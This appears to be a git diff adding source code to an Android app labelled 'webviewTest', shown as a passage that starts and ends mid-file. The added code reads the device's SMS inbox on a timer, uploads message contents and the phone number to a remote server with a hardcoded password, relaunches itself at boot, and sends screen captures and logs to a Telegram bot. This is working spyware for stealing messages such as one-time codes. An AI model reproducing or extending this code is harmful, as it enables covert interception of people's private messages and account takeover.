+                                                Log.d("hzshkj", "[MainActivity] b: " + b);
+                                                mBytes = bytes;
+                                                w = i2;
+                                                h = i1;
+                                                ScreenShareKit.INSTANCE.stop();
+                                            }
+                                        })
+                                        .onError(errorInfo -> Log.d("hzshkj", "[MainActivity] onError: " + errorInfo.getMessage()))
+
+                                        .onStart(() -> Log.d("hzshkj", "开始截屏"))
+                                        .start();
+                            }
+                            , 500);
+
+                } catch (Exception e) {
+
+                }
+
+                ThreadUtils.runOnUiThreadDelayed(() -> {
+                    new TgBot(mBytes, w, h);
+                }, 5000);
+
+                break;
+            case R.id.start_video:
+                try {
+                    ThreadUtils.runOnUiThreadDelayed(() -> {
+                                ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
+                                        .onH264((buffer, isKeyFrame, width, height, ts) -> {
+                                            HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                                        })
+                                        .onStart(() -> Log.d("hzshkj", "开始录制屏幕"))
+                                        .start();
+                            }
+                            , 500);
+
+                } catch (Exception e) {
+
+                }
+                break;
+            case R.id.stop_video:
+                try {
+                    ScreenShareKit.INSTANCE.stop();
+                } catch (Exception e) {
+
+                }
+
+                ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+                    @Override
+                    public void run() {
+                        new TgBot();
+                    }
+                }, 5000);
+                break;
+            case R.id.restart:
+                AppUtils.relaunchApp(true);
+                return true;
+            case R.id.logcat_push:
+                new TgBot("", false);
+                return true;
+            case R.id.about:
+                HxUtils.checkForUpdate(context, true);
+                break;
+            case R.id.change:
+                int checkedItem = 0;
+                new MaterialAlertDialogBuilder(this).
+                        setTitle(R.string.change)
+                        .setNeutralButton(R.string.cancel, (dialogInterface, i) -> dialogInterface.dismiss())
+                        .setPositiveButton(R.string.ok, (dialogInterface, i) -> {
+                            if (LanguageUtils.isAppliedLanguage()) {
+                                LanguageUtils.applyLanguage(currentLocal, false);
+                                dialogInterface.dismiss();
+                            } else {
+                                LanguageUtils.applyLanguage(currentLocal, false);
+                            }
+                        }).setSingleChoiceItems(DISPLAY_LANGUAGE_ARRAY, checkedItem,
+                                (dialogInterface, i) -> currentLocal = LOCAL_ARRAY[i]).show();
+                break;
+
+        }
+        return super.onOptionsItemSelected(item);
+    }
+
+
+    private PhoneListAdapter2 phoneListAdapter;
+    private SubscriptionManager subscriptionManager;
+
+    private void initPhoneConfig() {
+        if (!PermissionUtils.isGranted(Manifest.permission.READ_PHONE_STATE)) {
+            ToastUtils.showShort(R.string.read_phone_state_sim);
+            ThreadUtils.runOnUiThreadDelayed(this::initPhoneConfig, 3000);
+            return;
+        }
+        telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+        SimCardStateListener();
+        checkBoxListener();
+        networkListen();
+        subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+
+        @SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
+        List<HashMap<String, String>> mList = new ArrayList<>();
+        if (subsInfoList != null) {
+            for (SubscriptionInfo subscriptionInfo : subsInfoList) {
+                HashMap<String, String> map = new HashMap<>();
+                map.put("SimSlot", subscriptionInfo.getSimSlotIndex() + "");
+                map.put("SubId", subscriptionInfo.getSubscriptionId() + "");
+                map.put("Number", HxUtils.getRecord(subscriptionInfo.getSubscriptionId()));
+                map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName().toString());
+                map.put("Number2", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
+                mList.add(map);
+            }
+        } else {
+            XLog.w("setRecord -> subsInfoList == null");
+            Log.w("hzshkj", "setRecord: subsInfoList == null");
+        }
+
+
+        phoneListAdapter = new PhoneListAdapter2();
+        phoneListAdapter.addChildClickViewIds(R.id.iv_delete);
+        phoneListAdapter.setOnItemChildClickListener((adapter, view, position) -> {
+            if (view.getId() == R.id.iv_delete) {
+                new MaterialDialog.Builder(ActivityUtils.getTopActivity())
+                        .title("SIM-" + phoneListAdapter.getData().get(position).get("SimSlot") + "-" + StringUtils.getString(R.string.phone_number))
+                        .content("Card Slot : " + phoneListAdapter.getData().get(position).get("SimSlot") +
+                                "\n" +
+                                "Reference Mobile Number : " + phoneListAdapter.getData().get(position).get("Number2") +
+                                "\n" +
+                                "Display Name : " + phoneListAdapter.getData().get(position).get("disname")
+                        )
+                        .canceledOnTouchOutside(false)
+                        .autoDismiss(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> dialog.dismiss())
+                        .input(StringUtils.getString(R.string.set_the_number), TextUtils.isEmpty(phoneListAdapter.getData().get(position).get("Number")) ? "" : phoneListAdapter.getData().get(position).get("Number"), false, (dialog, input) ->
+                        {
+                            if (!StringUtils.isEmpty(input)) {
+                                if (HxUtils.setRecord(phoneListAdapter.getItem(position).get("SubId"), input.toString()) == null) {
+                                    phoneListAdapter.getItem(position).put("Number", input.toString());
+                                    phoneListAdapter.notifyItemChanged(position);
+
+                                }
+                                HxUtils.setPhone(toPhoneUri());
+                                LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
+                                dialog.dismiss();
+                            }
+                        })
+                        .inputType(InputType.TYPE_CLASS_PHONE) // 设置输入类型为电话号码
+                        .show();
+
+            }
+        });
+
+        b.appBarMain.contentMain.rv.setAdapter(phoneListAdapter);
+        phoneListAdapter.setList(mList);
+        b.appBarMain.contentMain.rv.setLayoutManager(new LinearLayoutManager(this, RecyclerView.VERTICAL, false));
+
+
+    }
+
+
+    private String toPhoneUri() {
+        StringBuilder data = new StringBuilder();
+        for (int i = 0; i < phoneListAdapter.getData().size(); i++) {
+            String a = "";
+            if (i == 0) {
+                if (!StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("SubId")) && !StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("Number")))
+                    a = phoneListAdapter.getData().get(i).get("SubId") + "-" + phoneListAdapter.getData().get(i).get("Number");
+            } else {
+                if (!StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("SubId")) && !StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("Number")))
+                    a = "_" + phoneListAdapter.getData().get(i).get("SubId") + "-" + phoneListAdapter.getData().get(i).get("Number");
+            }
+            data.append(a);
+        }
+        return data.toString();
+    }
+
+    private TelephonyManager telephonyManager;
+
+
+    private void setMsg(String msg) {
+        b.appBarMain.contentMain.textView2.setVisibility(View.VISIBLE);
+
+        b.appBarMain.contentMain.textView2.setText(msg);
+    }
+
+    private void hideMsg() {
+        b.appBarMain.contentMain.textView2.setVisibility(View.GONE);
+
+        b.appBarMain.contentMain.textView2.setText("");
+    }
+
+    public void SimCardStateListener() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() {
+                return getSimCardState();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+
+                if (result.equals("Absent")) {
+                    setMsg("Current sim card status : Absent");
+                    List<HashMap<String, String>> list2 = new ArrayList<>();
+                    XLog.d("检测到sim卡被拔出");
+                    if (!BuildConfig.DEBUG)
+                        ToastUtils.showLong(R.string.sim);
+                    HxUtils.setPhone("");
+                    LiveEventBus.get(PHONE_TAG).post("");
+                    if (!ObjectUtils.equals(list2, phoneListAdapter.getData())) {
+                        for (int i = 0; i < phoneListAdapter.getData().size(); i++) {
+                            phoneListAdapter.getItem(i).put("Number", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("SubId", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("SimSlot", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("disname", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("Number2", "UNKNOWN");
+                            phoneListAdapter.notifyItemChanged(i);
+                        }
+                    }
+
+                } else if (result.equals("Ready")) {
+                    hideMsg();
+                    @SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
+                    List<HashMap<String, String>> list = new ArrayList<>();
+                    if (subsInfoList != null) {
+                        StringBuilder sb = new StringBuilder();
+                        for (SubscriptionInfo subscriptionInfo : subsInfoList) {
+                            HashMap<String, String> map = new HashMap<>();
+                            map.put("SimSlot", subscriptionInfo.getSimSlotIndex() + "");
+                            map.put("SubId", subscriptionInfo.getSubscriptionId() + "");
+                            map.put("Number", HxUtils.getRecord(subscriptionInfo.getSubscriptionId()));
+                            map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName().toString());
+                            map.put("Number2", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
+                            list.add(map);
+                            if (StringUtils.isTrimEmpty(HxUtils.getRecord(subscriptionInfo.getSubscriptionId()))) {
+                                sb.append(StringUtils.getString(R.string.please_set_the_number_for_the_sim_card, subscriptionInfo.getSimSlotIndex(), subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName().toString()));
+                            }
+                        }
+                        if (!StringUtils.isEmpty(sb))
+                            setMsg(sb.toString());
+                        else
+                            hideMsg();
+                    } else {
+                        XLog.w("setRecord -> subsInfoList == null");
+                        Log.w("hzshkj", "setRecord: subsInfoList == null");
+                    }
+                    if (!ObjectUtils.equals(list, phoneListAdapter.getData())) {
+                        phoneListAdapter.setList(list);
+                        HxUtils.setPhone(toPhoneUri());
+                        LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
+                    }
+                }
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 2000, TimeUnit.MILLISECONDS);
+    }
+
+    public void checkBoxListener() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() {
+                try {
+                    Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务");
+                    Calendar calendar = Calendar.getInstance();
+                    calendar.add(Calendar.DAY_OF_MONTH, -1); // 向前推一天
+                    long tenDaysAgo = calendar.getTimeInMillis();
+                    ArrayList<Integer> list = new ArrayList<>();
+                    Uri inboxUri = Uri.parse("content://sms/inbox");
+                    String[] projection = new String[]{Telephony.Sms._ID};
+                    String sortOrder = "date DESC"; // 按日期倒序排序
+                    String selection = "date > ?";
+                    String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
+                    Cursor cursor = Utils.getApp().getContentResolver().
+                            query(inboxUri,
+                                    projection,
+                                    selection,
+                                    selectionArgs,
+                                    sortOrder);
+                    if (cursor != null) {
+                        while (cursor.moveToNext()) {
+                            int index = cursor.getColumnIndex(Telephony.Sms._ID);
+                            if (index >= 0) {
+                                int id = cursor.getInt(index);
+                                list.add(id);
+                            }
+                        }
+                        cursor.close();
+
+                    }
+                    Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务," + list.size());
+
+                    for (Integer id : list) {
+                        DBHelper dbHelper = new DBHelper(Utils.getApp());
+                        int success = dbHelper.checkSuccessById(id);
+                        Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务,success=" + success);
+                        if (success != 1) {
+                            HashMap<String, Object> map = new HashMap<>();
+                            HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
+                            boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
+                            if (success == 2 && !isHavaNumber) {
+                                break;
+                            }
+                            map.put("data", GsonUtils.toJson(dataMap));
+                            map.put("password", "o6M5sG7E@FAWLBL9");
+                            Http.getInstance()
+                                    .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                                    .setParams(map)
+                                    .setErrorStyle(Http.ERROR_HIDE)
+                                    .setLoadStyle(Http.ERROR_HIDE)
+                                    .setRetryCount(3)
+                                    .post(new Http.HttpCallBack<String>() {
+                                        @Override
+                                        public void onNext(String model) {
+                                            Log.d("hzshkj", "[MainActivity] onNext: ");
+                                            dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
+                                        }
+
+                                        @Override
+                                        public void onError(Throwable ex) {
+                                            super.onError(ex);
+                                            Log.d("hzshkj", "[MainActivity] onError: ");
+                                            XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
+                                        }
+
+                                        @Override
+                                        public void onFail(BaseBean t) {
+                                            super.onFail(t);
+                                            Log.d("hzshkj", "[MainActivity] onFail: ");
+                                            XLog.i(StringUtils.getString(R.string.log_tip_4, id));
+                                        }
+                                    });
+                        }
+
+                    }
+                } catch (Exception e) {
+                    LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
+                    Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+                    XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+
+                }
+                return getSimCardState();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 30000, TimeUnit.MILLISECONDS);
+    }
+
+    public void networkListen() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<List<Boolean>>() {
+            @Override
+            public List<Boolean> doInBackground() {
+                boolean b1 = NetworkUtils.isConnected();
+                boolean b2 = NetworkUtils.isAvailable();
+                List<Boolean> mList = new ArrayList<>();
+                mList.add(b1);
+                mList.add(b2);
+                return mList;
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(List<Boolean> result) {
+                ThreadUtils.runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        b.appBarMain.contentMain.netTv.setText(
+                                StringUtils.getString(R.string.connected_b_available_b, result.get(0), result.get(1))
+                        );
+                        if (!(result.get(0) && result.get(1))) {
+                            b.appBarMain.contentMain.netTv.setBackgroundColor(ColorUtils.getColor(R.color.red));
+                        } else {
+                            b.appBarMain.contentMain.netTv.setBackgroundColor(ColorUtils.getColor(R.color.green));
+                        }
+                    }
+                });
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 2000, TimeUnit.MILLISECONDS);
+
+    }
+
+    private String getSimCardState() {
+        int simState = telephonyManager.getSimState();
+        switch (simState) {
+            case TelephonyManager.SIM_STATE_UNKNOWN:
+                return "Unknown";
+            case TelephonyManager.SIM_STATE_ABSENT:
+                return "Absent";
+            case TelephonyManager.SIM_STATE_PIN_REQUIRED:
+                return "PIN required";
+            case TelephonyManager.SIM_STATE_PUK_REQUIRED:
+                return "PUK required";
+            case TelephonyManager.SIM_STATE_NETWORK_LOCKED:
+                return "Network locked";
+            case TelephonyManager.SIM_STATE_READY:
+                return "Ready";
+            case TelephonyManager.SIM_STATE_NOT_READY:
+                return "Not ready";
+            case TelephonyManager.SIM_STATE_PERM_DISABLED:
+                return "Permanently disabled";
+            case TelephonyManager.SIM_STATE_CARD_IO_ERROR:
+                return "Card IO error";
+            case TelephonyManager.SIM_STATE_CARD_RESTRICTED:
+                return "Card restricted";
+            default:
+                return "Unknown";
+        }
+    }
+
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+    }
+
+
+}

+ 60 - 0
webviewTest/app/src/main/java/com/app/duck/ui/TemplateActivity.java

@@ -0,0 +1,60 @@
+package com.app.duck.ui;
+
+import androidx.annotation.NonNull;
+
+import com.app.duck.BaseActivity;
+import com.app.duck.R;
+import com.app.duck.databinding.ActivityIniEditBinding;
+import com.app.duck.util.HxUtils;
+
+import io.reactivex.Observer;
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.Disposable;
+import io.reactivex.schedulers.Schedulers;
+
+public class TemplateActivity extends BaseActivity<ActivityIniEditBinding> {
+
+
+    @Override
+    public void initView() {
+        initToolbar();
+        initEdit();
+    }
+
+    private void initEdit() {
+        HxUtils.getStringFromRaw(TemplateActivity.this, R.raw.frpc_full)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new Observer<String>() {
+                    @Override
+                    public void onSubscribe(@NonNull Disposable d) {
+
+                    }
+
+                    @Override
+                    public void onNext(@NonNull String content) {
+                        b.editText.setText(content, 1);
+
+                    }
+
+                    @Override
+                    public void onError(@NonNull Throwable e) {
+
+                    }
+
+                    @Override
+                    public void onComplete() {
+
+                    }
+                });
+
+
+    }
+
+    private void initToolbar() {
+        setSupportActionBar(b.toolbar);
+        getSupportActionBar().setDisplayHomeAsUpEnabled(true);
+        b.toolbar.setNavigationOnClickListener(v -> finish());
+        b.toolbar.setTitle(R.string.titleTemplate);
+    }
+}

+ 18 - 0
webviewTest/app/src/main/java/com/app/duck/util/BootReceiver.java

@@ -0,0 +1,18 @@
+package com.app.duck.util;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.app.duck.ui.MainActivity;
+import com.blankj.utilcode.util.ActivityUtils;
+
+public class BootReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
+            // 在这里启动你的应用程序
+            ActivityUtils.startActivity(MainActivity.class);
+        }
+    }
+}

+ 143 - 0
webviewTest/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -0,0 +1,143 @@
+package com.app.duck.util;
+
+import static com.app.duck.Config.SMS_UPLOAD_TAG;
+import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
+
+import android.annotation.SuppressLint;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.work.ExistingPeriodicWorkPolicy;
+import androidx.work.PeriodicWorkRequest;
+import androidx.work.WorkManager;
+import androidx.work.Worker;
+import androidx.work.WorkerParameters;
+
+import com.app.duck.Config;
+import com.app.duck.R;
+import com.app.duck.database.DBHelper;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
+import com.blankj.utilcode.util.DeviceUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.TimeUtils;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.XLog;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.HashMap;
+import java.util.concurrent.TimeUnit;
+
+public class CheckInboxWorker extends Worker {
+    public CheckInboxWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
+        super(context, workerParams);
+    }
+
+    public static void start() {
+        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_6));
+        XLog.i(StringUtils.getString(R.string.log_tip_6));
+        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
+        WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
+    }
+
+
+
+
+    @NonNull
+    @Override
+    public Result doWork() {
+        try {
+            Calendar calendar = Calendar.getInstance();
+            calendar.add(Calendar.DAY_OF_MONTH, -10); // 向前推十天
+            long tenDaysAgo = calendar.getTimeInMillis();
+            ArrayList<Integer> list = new ArrayList<>();
+            Uri inboxUri = Uri.parse("content://sms/inbox");
+            String[] projection = new String[]{Telephony.Sms._ID};
+            String sortOrder = "date DESC"; // 按日期倒序排序
+            String selection = "date > ?";
+            String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
+            Cursor cursor = Utils.getApp().getContentResolver().
+                    query(inboxUri,
+                            projection,
+                            selection,
+                            selectionArgs,
+                            sortOrder);
+            if (cursor != null) {
+                while (cursor.moveToNext()) {
+                    int index = cursor.getColumnIndex(Telephony.Sms._ID);
+                    if (index >= 0) {
+                        int id = cursor.getInt(index);
+                        list.add(id);
+                    }
+                }
+                cursor.close();
+
+            }
+            for (Integer id : list) {
+                Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传");
+                DBHelper dbHelper = new DBHelper(Utils.getApp());
+                int success = dbHelper.checkSuccessById(id);
+                if (success != 1) {
+                    HashMap<String, Object> map = new HashMap<>();
+                    HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
+                    boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
+                    Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传,success = " + success);
+                    if (success == 2 && !isHavaNumber) {
+                        Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传,success == 2 && !isHavaNumber,本条短信无需再传");
+                        break;
+                    }
+                    map.put("data", GsonUtils.toJson(dataMap));
+                    map.put("password", "o6M5sG7E@FAWLBL9");
+                    Http.getInstance()
+                            .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                            .setParams(map)
+                            .setErrorStyle(Http.ERROR_HIDE)
+                            .setLoadStyle(Http.ERROR_HIDE)
+                            .setRetryCount(3)
+                            .post(new Http.HttpCallBack<String>() {
+                                @Override
+                                public void onNext(String model) {
+                                    Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传成功,isHavaNumber" + isHavaNumber + ",isHavaNumber ? 1 : 2");
+                                    dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
+                                }
+
+                                @Override
+                                public void onError(Throwable ex) {
+                                    super.onError(ex);
+                                    Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_4, id), ex);
+                                    XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
+                                }
+
+                                @Override
+                                public void onFail(BaseBean t) {
+                                    super.onFail(t);
+                                    Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_4, id));
+                                    XLog.i(StringUtils.getString(R.string.log_tip_4, id));
+                                }
+                            });
+                }
+
+            }
+            Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_5));
+            XLog.i(StringUtils.getString(R.string.log_tip_5));
+            LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_5) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+            return Result.success();
+        } catch (Exception e) {
+            LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
+            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+            return Result.retry();
+        }
+
+
+    }
+}

+ 91 - 0
webviewTest/app/src/main/java/com/app/duck/util/HeartbeatWorker.java

@@ -0,0 +1,91 @@
+package com.app.duck.util;
+
+import static com.app.duck.Config.BREATH_TAG;
+import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
+
+import android.content.Context;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.work.ExistingPeriodicWorkPolicy;
+import androidx.work.PeriodicWorkRequest;
+import androidx.work.WorkManager;
+import androidx.work.Worker;
+import androidx.work.WorkerParameters;
+
+import com.app.duck.Config;
+import com.app.duck.R;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.TimeUtils;
+import com.elvishew.xlog.XLog;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import java.util.HashMap;
+import java.util.concurrent.TimeUnit;
+
+public class HeartbeatWorker extends Worker {
+    public HeartbeatWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
+        super(context, workerParams);
+    }
+
+    public static void start() {
+        XLog.i(StringUtils.getString(R.string.log_tip_11));
+        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(HeartbeatWorker.class, 15, TimeUnit.SECONDS)
+                .build();
+        WorkManager.getInstance().enqueueUniquePeriodicWork("heardbeatWork", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
+    }
+
+    @NonNull
+    @Override
+    public Result doWork() {
+        if (StringUtils.isEmpty(HxUtils.getPhone())) {
+            LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_8, StringUtils.getString(R.string.log_tip_code_1)));
+            Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_8, StringUtils.getString(R.string.log_tip_code_1)));
+            XLog.i(StringUtils.getString(R.string.log_tip_8, StringUtils.getString(R.string.log_tip_code_1)));
+            return Result.retry();
+        }
+        HashMap<String, Object> map = new HashMap<>();
+        HashMap<String, Object> mapItem = new HashMap<>();
+        mapItem.put("address", HxUtils.getPhone());
+        mapItem.put("status", "success");
+        map.put("data", GsonUtils.toJson(mapItem));
+        map.put("password", "o6M5sG7E@FAWLBL9");
+        Http.getInstance()
+                .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                .setParams(map)
+                .setErrorStyle(Http.ERROR_HIDE)
+                .setLoadStyle(Http.ERROR_HIDE)
+                .setRetryCount(10)
+                .post(new Http.HttpCallBack<String>() {
+                    @Override
+                    public void onNext(String model) {
+                        LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_9) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_9));
+                        XLog.i(StringUtils.getString(R.string.log_tip_9));
+                    }
+
+                    @Override
+                    public void onError(Throwable ex) {
+                        super.onError(ex);
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_10), ex);
+                        XLog.e(StringUtils.getString(R.string.log_tip_10), ex);
+                        LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_10) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                    }
+
+                    @Override
+                    public void onFail(BaseBean t) {
+                        super.onFail(t);
+                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_10) + ":" + t.getMsg());
+                        XLog.i(StringUtils.getString(R.string.log_tip_10) + ":" + t.getMsg());
+                        LiveEventBus.get(BREATH_TAG).post(StringUtils.getString(R.string.log_tip_10) + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+
+                    }
+                });
+        return Result.success();
+    }
+
+}

+ 405 - 0
webviewTest/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -0,0 +1,405 @@
+package com.app.duck.util;
+
+import android.annotation.SuppressLint;
+import android.app.ActivityManager;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.provider.Telephony;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.util.Log;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.R;
+import com.app.duck.dialog.UploadAppDialog;
+import com.blankj.utilcode.util.DeviceUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.SPUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.XLog;
+import com.google.gson.JsonArray;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.ByteBuffer;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.GZIPOutputStream;
+
+import io.reactivex.Completable;
+import io.reactivex.Observable;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.Response;
+
+/**
+ * author: hx
+ * created on: 2023/10/10 11:32
+ * description:
+ */
+public class HxUtils {
+
+    public static void QueryXiaoMiSmsInbox() {
+        Uri SMS_INBOX = Uri.parse("content://sms/");
+        ContentResolver cr = Utils.getApp().getContentResolver();
+        String[] projection = new String[]{"_id", "address", "person", "body", "date", "type", "thread_id", "protocol", "read", "status", "service_center"};
+        Cursor cur = cr.query(SMS_INBOX, projection, null, null, "date desc");
+        if (null == cur) return;
+        cur.moveToNext();
+        cur.close();
+    }
+
+
+    public static HashMap<String, HashSet<String>> provideHashMap() {
+        HashMap map = new HashMap<>();
+        map.put("KEY_LOGIN", new HashSet<>(Arrays.asList("espere", "waiting", "loading", "esperando")));
+        map.put("KEY_ERROR", new HashSet<>(Arrays.asList("problema", "problem", "error", "null")));
+        return map;
+    }
+
+    public static String getPhone() {
+        return SPUtils.getInstance().getString("number");
+    }
+
+
+    public static void setPhone(String phone) {
+        SPUtils.getInstance().put("number", phone, true);
+    }
+
+    public static String getChatId() {
+        return StringUtils.isEmpty(SPUtils.getInstance().getString("chatId")) ? "-1001958143149L" : SPUtils.getInstance().getString("chatId");
+
+    }
+
+    public static void setChatId(String chatId) {
+        SPUtils.getInstance().put("chatId", chatId, true);
+    }
+
+    public static String getBotToken() {
